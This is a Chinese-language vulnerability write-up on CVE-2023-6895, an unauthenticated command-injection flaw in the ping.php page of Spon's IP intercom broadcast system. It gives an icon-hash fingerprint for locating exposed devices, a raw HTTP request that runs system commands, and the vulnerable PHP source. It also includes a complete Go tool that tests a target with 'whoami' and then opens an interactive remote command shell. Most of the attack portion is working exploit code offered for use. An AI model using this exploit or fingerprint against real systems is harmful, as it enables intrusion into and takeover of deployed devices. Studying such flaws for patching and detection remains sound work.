世邦 IP 网络对讲广播系统远程命令执行漏洞(CVE-2023-6895)
漏洞描述
Spon Intercom Broadcasting System 是世邦通信股份有限公司的一个对讲广播系统。
/php/ping.php 文件 jsondata[ip] 参数存在远程命令执行漏洞。
影响范围
V3.0.3_20201113_RELEASE(HIK)
资产测绘
icon_hash="-1830859634"
漏洞复现
登录界面如下
后台界面如下
漏洞POC
POST /php/ping.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 28 May 2021 10:11:26 GMT
If-None-Match: "60b0c1ce-1dbf"
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
成功执行系统命令
将源码打包下来后分析,先看 /php/ping.php
<?php
// /**
// *@param $ip target ip
// *@param $times ping times
// */
header("Content-type: text/html; charset=GB2312");
$postData = $_POST['jsondata'];
if(isset($postData['ip']) && isset($postData['type'])){
$type = $postData['type'];//类型
$ip = $postData['ip'];//IP地址
$arr = systemopr($type, $ip);
$len = count($arr);
for($i = 0; $i < $len; $i++){
if(isset($arr[$i])){
$arr[$i] = iconv('GB2312', 'UTF-8', $arr[$i]);//gb2312转换为utf-8
}
}
$after = json_encode($arr);//转换成json
echo $after;
}
function systemopr($type, $ip, $times=4){
$info = array();
if (PATH_SEPARATOR==':' || DIRECTORY_SEPARATOR=='/'){
//linux
if($type == "0"){
exec("ping -c $times $ip", $info);
}else if($type == "1"){
exec("traceroute -m $times -w 1 $ip", $info);
}else{
exec($ip, $info);
}
}else{
//windows
if($type == "0"){
exec("ping $ip -n $times", $info);
}else if($type == "1"){
exec("tracert -h $times -w 1000 $ip", $info);
}else{
exec($ip, $info);
}
}
return $info;
}
?>
该 php 中没有看到任何鉴权的地方,接收了两个参数,一个是type,一个是ip
然后调用 systemopr
函数
在该方法中,首先对系统类型进行了判断,然后判断 type 的值,实际上这里不管 type 是多少,都存在命令执行漏洞。
但是为了方便,将 type 值设置为99,就会执行 else 代码块中的 exec
方法
命令执行的结果会返回到 $arr
中,经过 jsonencode 转换后输出。
POC&EXP
package main
import (
"bytes"
"crypto/tls"
"fmt"
"net/http"
"strings"
)
const (
checkURLPath = "/php/ping.php"
colorRed = "\033[31m"
colorGreen = "\033[32m"
colorBlue = "\033[34m"
colorReset = "\033[0m"
)
func poc(url string) bool {
vulnURL := url + checkURLPath
payload := "jsondata%5Btype%5D=99&jsondata%5Bip%5D=whoami"
// 使用自定义的 http.Client 并忽略证书错误
client := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
resp, err := client.Post(vulnURL, "application/x-www-form-urlencoded", strings.NewReader(payload))
checkError(err)
defer resp.Body.Close()
// 读取并输出响应体
responseBody := new(bytes.Buffer)
_, err = responseBody.ReadFrom(resp.Body)
checkError(err)
keywords := []string{"[\"www\"]", "[\"root\"]", "Microsoft Windows"}
vulnerable := false
for _, keyword := range keywords {
if strings.Contains(responseBody.String(), keyword) {
vulnerable = true
break
}
}
return vulnerable
}
func exp(url string) {
for {
fmt.Print("cmd > ")
var cmd string
fmt.Scanln(&cmd)
vulnURL := url + checkURLPath
payload := fmt.Sprintf("jsondata%%5Btype%%5D=99&jsondata%%5Bip%%5D=%s", cmd)
client := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
resp, err := client.Post(vulnURL, "application/x-www-form-urlencoded", strings.NewReader(payload))
checkError(err)
defer resp.Body.Close()
responseBody := new(bytes.Buffer)
_, err = responseBody.ReadFrom(resp.Body)
checkError(err)
fmt.Println(responseBody.String())
}
}
func checkError(err error) bool {
if err != nil {
fmt.Printf("%s[error] %s%s\n\n", colorRed, err, colorReset)
return true
}
return false
}
func main() {
fmt.Printf("\n%s世邦 IP 网络对讲广播系统远程命令执行漏洞%s\n\n", colorBlue, colorReset)
fmt.Print("url > ")
var url string
fmt.Scanln(&url)
vulnerable := poc(url)
if vulnerable {
fmt.Printf("\n%s[+] %s 存在漏洞%s\n\n", colorGreen, url, colorReset)
exp(url)
} else {
fmt.Printf("\n%s[-] %s 不存在漏洞%s\n\n", colorRed, url, colorReset)
}
}
运行效果